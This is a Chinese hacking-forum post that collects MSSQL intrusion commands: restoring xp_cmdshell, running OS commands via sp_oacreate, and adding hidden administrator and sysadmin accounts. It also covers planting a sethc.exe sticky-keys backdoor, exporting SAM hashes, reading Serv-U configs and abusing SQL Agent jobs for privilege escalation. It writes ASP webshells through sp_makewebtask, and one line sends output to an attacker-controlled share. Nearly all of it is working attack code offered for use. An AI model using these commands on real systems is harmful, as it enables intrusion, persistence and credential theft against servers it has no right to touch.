找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2318|回复: 0
打印 上一主题 下一主题

XP_CMDSHELL恢复方法大全

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:37:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号
" ~+ F: ^' r( a- P恢复方法:查询分离器连接后,
6 N7 N9 }# K: \第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int 8 ]# ]+ m" X/ L( h3 B
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
# B  l% @, l) d# @; R; I然后按F5键命令执行完毕) D& ~8 b' t' F/ T
# P: w# E3 }2 g. i8 D
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)1 M( K0 |. X0 Q' N
恢复方法:查询分离器连接后,9 |  H9 t5 `8 t
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"* I2 k. u* t9 q4 x/ Z* @' P
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
+ J8 h( Z# U) o然后按F5键命令执行完毕! Q6 h' `0 I& e; r) Z- ^
/ R' t& C8 w6 H  E# b7 G$ }; D
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
3 [2 n" J& G, I" I) V7 g8 _恢复方法:查询分离器连接后,
; y2 N2 l0 v! l; X; y0 ?; H5 K6 K6 \第一步执行:exec sp_dropextendedproc 'xp_cmdshell'! C  o  o8 J3 w
第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'       ' D6 [: g% d* T# C, j, F
然后按F5键命令执行完毕4 n) v( \* i  Y6 q' `

3 B7 @0 R$ ~" S9 m  r4 终极方法.
$ _$ K/ A$ c% X  z1 k& F( ~如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
8 y+ ^8 M  t0 r7 Q5 {/ R5 m4 M查询分离器连接后,
4 S" l$ C# |4 |/ o4 O- L2000servser系统:
9 m8 U2 r$ s# y/ r; Ldeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'
4 `! L, u& P5 l/ F* N* U
+ m0 q- |. v* m3 {5 k2 ^* sdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'3 t5 ]; @4 t, Z- D- ^

! f8 L# {$ f) nxp或2003server系统:. N6 K9 g" k: ?- \' E# e% e" D' p
, O4 p0 p2 y2 m* O
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
9 @5 k& I$ {+ _: T9 T; u6 T1 s: T) c& J0 j) w8 ?+ }
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'$ A% j* |, _- ?; n

4 j( u/ N; Y- s  E
) j* ~' O9 m; B* U2 ]五个SHIFT. L6 }* }7 D7 Y" k8 k6 a
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';9 i! c, }, w( [# l8 e

' b+ f0 y- F% j" S" T. _5 p, M: Y- Ndeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
- p. O# E& O5 {; V
8 k: k, K7 }  |0 K) `6 L2 |9 Cxp_cmdshell执行命令另一种方法2 ]( l' u: _  {& D
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' 5 E  G% R- a, C

( i: z; Z2 n) ]" k; Z, s判断存储扩展是否存在
3 k/ j$ y" {& S- n5 X7 xSelect count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
) t+ C* }+ d$ O" J) {& [6 j0 h: q返回结果为1就OK' i, H/ U) c4 y
! m5 ]4 e+ M8 _

' O0 j. k' _$ o1 q: |1 {* K7 {0 L上传xplog70.dll恢复xp_cmdshell语句:
! r( v) j2 B% h( E" Xsp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'8 p' s9 E+ C; b

, Y* Q" ^, J( t  Q$ D: _" q: p# B否则上传xplog7.0.dll+ R% `- @- y7 i+ x
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'4 S) S$ R3 y* X2 r) J7 ^
/ L8 s9 t7 z4 {* l3 h

3 R4 N2 M, A& }( [0 q$ i+ d4 Q/ g' N) ^1 \
首先开启沙盘模式:
# _# d- G; u& T' Jexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
! {- e* C( N  q1 h: V1 a6 X% \# R9 f' P3 q
然后利用jet.oledb执行系统命令4 I# ^& C/ _+ C& H. Z3 x7 I( E
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')0 e3 F' g6 M6 t- c0 i0 V* \
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
! q. u2 U$ C" i& Y+ _4 t( o0 S7 {' E: d! |4 x
1 z& ~6 V, O) }! g

; a4 t  D; ^- W0 [$ H$ q恢复过程sp_addextendedproc 如下:
+ z) W9 |8 ]) S' }* }create procedure sp_addextendedproc --- 1996/08/30 20:13 6 `2 t) S' o0 m8 i% [
@functname nvarchar(517),/* (owner.)name of function to call */ ! T. D3 v0 _1 j) [) g
@dllname varchar(255)/* name of DLL containing function */
, Z8 X1 m; ?5 ]  d$ G- V4 U1 _as
; b1 W$ ~3 }7 p- \2 N1 a% W) Oset implicit_transactions off
3 g, r9 l9 Z1 `+ aif @@trancount > 0
; G! p+ M6 |: m( F: J! m% v9 Ybegin
7 z3 s' m/ A* k  traiserror(15002,-1,-1,'sp_addextendedproc')
& {. Q9 p4 `5 B( ]return (1)
. p: Z1 E, |0 m' f- |5 c; Lend
, ?; {( F* b9 h: B* Cdbcc addextendedproc( @functname, @dllname)   \  b0 b8 P1 u) T, P( ?
return (0) -- sp_addextendedproc # O- D4 x8 y8 W
GO ) b( q) j2 V( m/ h2 ?% V7 |1 E
  q. |, m( u( B7 e

0 v2 ]  u( o+ W: S% y5 b4 u/ D: F
7 n$ H' B  @; i0 h5 s' E3 {' H导出管理员密码文件. M7 X& F. o  u4 n. W
sa默认可以读sam键.应该。
: p2 n, W0 S( |3 d0 j0 q( nreg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
+ H6 ?* \7 k1 V  q' E6 x5 w* P2 K: x+ knet user administrator test/ U, k8 C3 }: r- b% m( g
用administrator登陆.
7 r; f) i9 s; K9 a9 V用完机器后
: e0 [0 l) h: U$ h9 v9 b, O) {reg import c:\test.reg; ^9 g2 D" ]2 k
根本不用克隆.7 e7 {1 h) i4 F( F
找到对应的sid.
1 c3 z& \! d7 L8 Z8 b" I' h+ L, q- L3 D3 U

. E! R. \* @8 v; c- L3 i
9 a* f% y4 t; a9 L$ H5 a5 Q4 y恢复所有存储过程& d0 ^. m. x* y! z  T
use master * _/ o# C6 L+ o; L/ b0 g7 e
exec sp_addextendedproc xp_enumgroups,'xplog70.dll' 0 i8 q# J9 G& L+ C$ m
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll' # K6 b! s9 @& r+ [1 R9 W* K
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
* k% P; K( y0 Q! vexec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' 1 X4 F$ ?$ l7 q1 @, @
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll' ( e0 k+ e% Q( F1 w' r
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
* ?% F/ z! P4 O1 U; S( Lexec sp_addextendedproc sp_OADestroy,'odsole70.dll' , z5 n; ~- [3 B. g
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
5 \/ e+ J2 G/ [+ M" t' cexec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
" O$ M, ?5 f+ e0 x4 {1 C+ Iexec sp_addextendedproc sp_OAMethod,'odsole70.dll'   w$ ~' p! m/ }
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
4 Z3 L5 e- V+ ]1 mexec sp_addextendedproc sp_OAStop,'odsole70.dll'
, X; _! w5 O5 _! ]- D7 N- kexec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
3 }$ i7 }/ b# z  ]( I, k  Yexec sp_addextendedproc xp_regdeletekey,'xpstar.dll' 8 J5 W* ~/ {, @) Z6 [
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' : ?2 r& ]) F5 U8 ~+ X
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
, f* r% l9 A+ L* m7 [) kexec sp_addextendedproc xp_regread,'xpstar.dll' ( ^7 F/ ^: ~" S% |" N! G" z
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
# {  R) @; v) f9 v1 v4 y" q2 m) Hexec sp_addextendedproc xp_regwrite,'xpstar.dll'
6 X! @. R4 r7 L+ Aexec sp_addextendedproc xp_availablemedia,'xpstar.dll'
9 h* y7 @  z7 }9 K* [, Y% m, h1 `6 |  r$ L) t
1 l+ U" Z2 J) x8 o. {6 d
建立读文件的存储过程
" g! @5 b4 Y4 I+ W9 mCreate proc sp_readTextFile @filename sysname
' e6 ?- P2 Y. D! y5 l( @$ f0 Jas/ ]% P  [# C* o% v3 k

  }, q. \7 _5 V: X    begin
6 w9 m) z0 H9 |    set nocount on
' P3 \7 e/ C" X2 `6 J7 q& q' A    Create table #tempfile (line varchar(8000))+ T# q, R# A2 O7 ]$ j1 {
    exec ('bulk insert #tempfile from "' + @filename + '"')
3 Q; k, [8 j8 j5 X$ F& o8 }% P% ?    select * from #tempfile# N! [8 E( O6 I; c7 ]. H
    drop table #tempfile
# k. l/ x. n" A/ p. xEnd+ g1 H9 ?6 D5 \7 m2 E9 @

! t) I+ }% Q3 a. wexec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件$ y, i, R, D( p- c, M
查看登录用户* Z3 K* A! _1 H" Y2 X! O
Select * from sysxlogins
* h1 q6 a8 N, s- a& F: l) x: y$ y/ I' W
把文件内容读取到表中
- r0 c7 {0 b! [5 H$ e8 TBULK INSERT tmp from "c:\test.txt"
0 j) o9 I, @2 y) t. edElete from 表名 清理表里的内容3 S/ F0 z2 _3 O( R4 g+ ^8 i
create table b_test(fn nvarchar(4000));建一个表,字段为fn
1 e6 J6 E! I# h2 G( Y( @& @& h, D  p7 w% [8 {9 x1 N  O
& x% b$ b# T' X, U
加sa用户; M/ j3 ~4 o1 ~/ @9 [  ~
exec master.dbo.sp_addlogin user,pass;
1 x4 I. @& R' k* }exec master.dbo.sp_addsrvrolemember user,sysadmin2 ?# G5 b/ ^6 F4 N/ e' V0 q7 _

5 f, @7 V0 g* J6 F5 ?! R3 x  G. }5 `
; ~% k2 `! N- ^( h# O5 X: L
读文件代码
* m6 ]# a3 K9 P" W% [4 Pdeclare @o int, @f int, @t int, @ret int
0 i9 _" t) U: A3 m  A5 Tdeclare @line varchar(8000)+ O7 k! ?( O( [9 o
exec sp_oacreate 'scripting.filesystemobject', @o out
- q5 B* N: \+ w' a$ Y5 Uexec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
" }5 L/ m8 ?$ ?: ~exec @ret = sp_oamethod @f, 'readline', @line out
' Q! N: [$ ?7 L" G" S3 |3 @while( @ret = 0 )
9 ]$ Q0 [2 I, ~5 ybegin
" E$ \7 `) r! c+ D+ @; qprint @line
; n6 l5 n0 s, e) i/ F+ [; t: N9 aexec @ret = sp_oamethod @f, 'readline', @line out
7 k+ ^# |) }# [, L1 y: I1 c7 r- Zend
% P: x! P- x5 }9 b9 B3 w
- l1 l' Q8 G1 F1 ?4 N; O& q9 X& r
% r6 F& o! `/ B8 ?, b* P写文件代码:0 k/ J' [5 ]+ l4 H8 G* t9 i4 m
declare @o int, @f int, @t int, @ret int/ Z/ h7 f) Z& E0 W" Y0 z
exec sp_oacreate 'scripting.filesystemobject', @o out& H" s; x+ _" n0 q! n& p# @
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1
) Z: |; H1 G6 z5 V0 R7 h* X0 e# f( texec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
0 H  E0 _6 B; z. R6 j7 U+ \0 T" ]# S4 ?0 u, Z7 L: y9 }$ [

6 Q5 t5 k/ g' S9 U  ~/ Z1 G% W3 Q* Q( @- f添加lake2 shell( l5 i5 N! R1 d0 Z1 n2 R" n
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll', H) @1 W) `* R8 q
sp_dropextendedproc xp_lake2$ K5 r0 l7 e" R8 u
EXEC xp_lake2 'net user'
* Y& @5 l0 f/ t
+ U* O0 G" Q# T7 v; q2 J
9 Y+ C0 D6 x$ k得到硬盘文件信息 3 w3 g  o4 o% x* @0 _
--参数说明:目录名,目录深度,是否显示文件
7 M( {# s! l4 o* `; L" Cexecute master..xp_dirtree 'c:'
; u6 K5 c1 ]3 Rexecute master..xp_dirtree 'c:',1 3 ^/ x) E5 \  a: q, \0 `+ g
execute master..xp_dirtree 'c:',1,1
8 d9 L3 @" G5 m2 z1 P6 E) N8 X" V3 l, l: H& P! w) d1 [% J6 |

: M  G7 ^9 ?9 _# m' O5 _  m  c读serv-u配置信息1 K$ F9 Q: d) e" V3 ~8 ~
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
: E  b0 N* ]( i) V! L' [* Oexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
! o& \$ [$ O1 D& ~, ^2 t% i# f  ^; R9 k1 x1 I
通过xp_regwrite写SHIFT后门
  V! q( A, t2 `( C& S* @exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
( G. A5 f+ I6 p- J- v# c) H0 K: h$ P' G

+ h1 @4 m3 Y, i
$ [$ A% l7 `) j2 v$ Y1 l) ~* \找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
: h4 @* }7 x. Cexec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
; v! q( K; m- [: m+ Z/ `$ b( e
* _; Y8 B3 \8 O3 UEXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'( U% l$ G, C$ v9 l8 b

' j( k: j  G* {  H" ~4 m0 l0 }+ N1 M' Y' @/ I+ p  m! t

' ?0 B0 j2 S" p" \5 ?/ lsql server 2005下开启xp_cmdshell的办法, @6 u2 _, g" @- J3 l' J
8 z0 y8 r& P% A8 V' Q% S. b/ r
EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;- V7 v. {! z8 v  p  E% m

- o. [2 p# y& O8 q: |: {SQL2005开启'OPENROWSET'支持的方法:% T6 C# B% |3 o* m

7 O6 A- |& t5 @! V" xexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;1 J7 v- |% R4 Q' A4 p; p2 h+ A+ }

6 k. C0 s# M% A4 X, R/ C3 t# cSQL2005开启'sp_oacreate'支持的方法:
7 H) k& u+ K/ I$ E5 Z8 D
/ L8 O+ C6 a$ i+ Y* a+ q6 k( lexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;! W* _  o! s3 o' M) v+ Q

, K, Q2 }' d, C4 C7 `- o  c8 r2 l
$ y$ a4 `- f+ ~, @) w- U, T- r. P
2 f# a3 z0 T* m; Q3 d! @% \7 W2 s2 z2 ^
2 b. Y1 a% Z# [/ z/ {3 O
4 a4 H) V$ I- Z# Z: |# V. z- N" w

: p/ Z8 L& l4 f2 X
( |* K+ T) Q4 v; F9 I' Q/ H) q# h, X1 G, J" R0 l

. N- O4 Z# k( |- W. X4 U2 E, W
- ~1 @3 _( [* m  K, P! W7 ~4 g8 E0 j
; Q" \% z/ b/ ?8 q5 h- _
. ^1 a! d% a) B1 u" r0 d% Y& G
7 ^7 S: O: Y# A  K3 ]
  }6 v$ p- A: q% `$ I; ^
0 t* y8 L7 i! z8 ^/ v% i
+ H' ?7 e- |# P, j# d" P# X% b( K, L/ F! x5 S( n9 d4 {  \6 f; q8 Z
4 _2 r2 m  [7 |; [' [1 e

: L8 [+ Y* B3 P4 x3 x# T( G4 a, o! V, g. j; V6 b
4 Y$ C, d' q/ m! I% _

  T& M1 ^2 B4 c* k0 Q6 {! B
, ~& d0 |9 l0 W& ]以下方面不知道能不能成功暂且留下研究哈:
/ R6 D- j: ^- w$ F% D8 K- c4)+ T, m. H$ ]# h- e+ `
use msdb; --这儿不要是master哟% R: y6 i- Q$ P9 K" {- a! L! Z
exec sp_add_job @job_name= czy82 ;& |. ?/ y, x, }  I9 N
exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
" u* h" Z7 x) j& j" Pexec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;& M, \; h- v- Y4 K! t* W2 h* _& i
exec sp_start_job @job_name= czy82 ;
& C% x2 C( [2 ^* f+ [  g
7 L/ j" Y6 d- P1 K3 J利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
+ x% x" X2 E( z! m7 s' r执行tsql语句了.7 Q9 s7 H* ^- P1 H$ L
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名) V+ U& e  }4 B- Y+ H
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
$ I$ j0 v, t8 K' L2 y) |/ e) cnet start SQLSERVERAGENT" n& Y1 f5 G- S" s" s" h. m

8 X" k) K" }/ o( W6 E对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的$ Q9 S, v( U7 @" h  {& \! I
USE msdb) Y+ C9 U/ w- l9 A2 K* b& A6 ]( ?
EXEC sp_add_job @job_name = GetSystemOnSQL ,
$ q$ ]/ X& T# @, q1 M2 u/ @@enabled = 1,2 m3 [% x( @/ p7 s4 [+ k' \% o
@description = This will give a low privileged user access to
0 P& }/ T/ I* lxp_cmdshell ,$ o. o( T0 J( n& m" n, M, `
@delete_level = 1
0 G2 [7 l8 c; y+ l2 o7 HEXEC sp_add_jobstep @job_name = GetSystemOnSQL ," U  _; R! h$ J7 b  v  k
@step_name = Exec my sql ,
& q& g  v2 q* e/ Y/ _" Y! S  g@subsystem = TSQL ,
2 R) J& l, G( I@command = exec master..xp_execresultset N select exec
" J: o6 `! ~7 `; `' h# f7 _9 X! P7 dmaster..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master
3 Q/ |  b# \# t. b$ h3 L; y/ L0 IEXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
" U7 {( c  \0 p$ w. X@server_name = 你的SQL的服务器名 " ~2 L1 `0 [+ c. `8 |4 i
EXEC sp_start_job @job_name = GetSystemOnSQL " C- ~3 t$ s7 y9 x6 a4 D% n  w) `
; @$ t( W- i6 _- |: |
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以/ i( {7 ]5 c. Z9 ]
才让我们可以以public执行xp_cmdshell
9 v3 D+ R) F5 P8 C) y, w. s, l  [6 k' f, g6 ~3 r& s- Z
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)* G( r/ I" b' W1 u: A
在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=29685 f% k  L% k( O$ N' y8 l& k5 @
* J$ S3 X0 X8 C  \0 g. N
USE msdb
$ P! J8 w7 ~0 jEXEC sp_add_job @job_name = ArbitraryFilecreate ,
$ y& m. j! Q1 |5 N@enabled = 1,
# h' A. p, e5 n3 X) @0 l@description = This will create a file called c:\sqlafc123.txt ,
/ P: T! Q0 o) G@delete_level = 1
9 z; q4 P" v1 k0 j" z! m# }EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
" l; {7 g; I0 Q! [. A* \0 D: ^@step_name = SQLAFC ,
0 \" ]0 l& g: W9 f( ?/ m$ o  a/ I9 L@subsystem = TSQL ,/ o8 ?/ S! \; j2 n' p) F- {+ p7 V
@command = select hello, this file was created by the SQL Agent. ,
# s1 H, A! a7 H@output_file_name = c:\sqlafc123.txt - O. C1 l, D, e9 L5 J
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,% a, J5 B, J7 d9 L+ C3 Y4 C
@server_name = SERVER_NAME 3 u6 X  o# ^" H6 {' U! i7 `
EXEC sp_start_job @job_name = ArbitraryFilecreate
2 V) @. H! Q& K5 k5 D  @8 k4 {% f; q1 `  |: o, v
如果subsystem选的是:tsql,在生成的文件的头部有如下内容
% R2 J" j8 J' D
% e* d; c* Q1 a- W??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
( g5 Q1 }0 m- W' M----------------------------------------------
5 e  W  k& J5 u/ Z2 f* u0 T- [hello, this file was created by the SQL Agent.
: f3 O. S1 M/ A) @( t* [, y, G/ D* ^
(1 ?????)
8 H0 ~7 C8 e; M3 t+ U# Q+ K2 T" t+ S* r8 `- C! ]
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员& q6 \# d8 B) B) ~
命令的vbs文件到启动目录!" o2 `# j- _# z% {; V  m0 e
* O: `% T0 y4 V2 n; R( l* u: E
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
5 i: Y; D7 u2 B& ]  a关于sp_MScopyscriptfile 看下面的例子
, p1 T5 r9 }- ^1 V4 }declare @command varchar(100) 3 z3 S. @0 [3 I- O/ ^/ e2 ^& L& U
declare @scripfile varchar(200) , r& n* F, |" F
set concat_null_yields_null off
" t2 B( ~' u, Vselect @command= dir c:\ > "\\attackerip\share\dir.txt"
/ P1 G5 o* l1 V0 L5 n2 `select @scripfile= c:\autoexec.bat > nul" | @command | rd "
5 K8 Z6 _# C1 t1 J$ H6 `exec sp_MScopyscriptfile @scripfile ,
3 Y& j' }& Y- U, m, D2 `1 f; T6 q' Z' k# P
这两个东东都还在测试试哟
  y& H! [! g' I9 }6 l1 i% q8 D$ t让MSSQL的public用户得到一个本机的web shell" ]" i; R' I# ]; @8 e# x. p

! I% W/ H6 I; T3 q4 N# M9 v7 `sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
0 ~, K- ?$ K- f( c( A--@query= select <img src=vbscript:msgbox(now())>
( f& {3 v0 `5 c( @--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
2 J% A! l  o5 n@query= select
2 l8 X. L' i6 p' c<%On Error Resume Next
  R& U3 @& p9 tSet oscript = Server.createObject("wscript.SHELL")
3 ~$ E) R* i* W+ V: Z- _* r8 MSet oscriptNet = Server.createObject("wscript.NETWORK")
5 w( ^' X4 R$ k- i6 @0 m# n( kSet oFileSys = Server.createObject("scripting.FileSystemObject") 5 F' p+ I" T5 H9 Q9 t
szCMD = Request.Form(".CMD")
. q2 x8 F* Y, }! a5 I6 P8 L5 j9 WIf (szCMD <>"")Then 5 C2 d; k9 O9 J9 R
szTempFile = "C:\" & oFileSys.GetTempName()
; W3 x: {$ O6 v9 k2 N) O. e9 kCall oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)
* T( u1 U1 f8 k9 ~% Q2 JSet oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) 4 \9 e- `: s( j3 S5 {
End If %>
& q% ~( r3 Y/ x3 f8 ~<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST">
! j. D4 {8 }6 l6 L<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
$ v; x$ R) e- R  `( W</FORM><RE>
* D( M6 V: |. Z9 ^  `3 C<% If (IsObject(oFile))Then
" c6 U: u! j5 @6 d3 d7 Z( i) _/ [On Error Resume Next ) Y& ]& ^/ a3 A3 c$ [9 @
Response.Write Server.HTMLEncode(oFile.ReadAll) : O0 ?! ]/ H) R4 p) @4 C
oFile.Close 8 j6 i* \" Q9 O# r- E0 }4 x  a$ l
Call oFileSys.deleteFile(szTempFile, True) : {' `: h: P  H0 w8 q8 W
End If%> 9 @0 A2 f0 |% I& M" v# |1 B/ D
</BODY></HTML>
) ^+ [, |/ v1 g" ~5 ~0 R9 @) m! i- y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表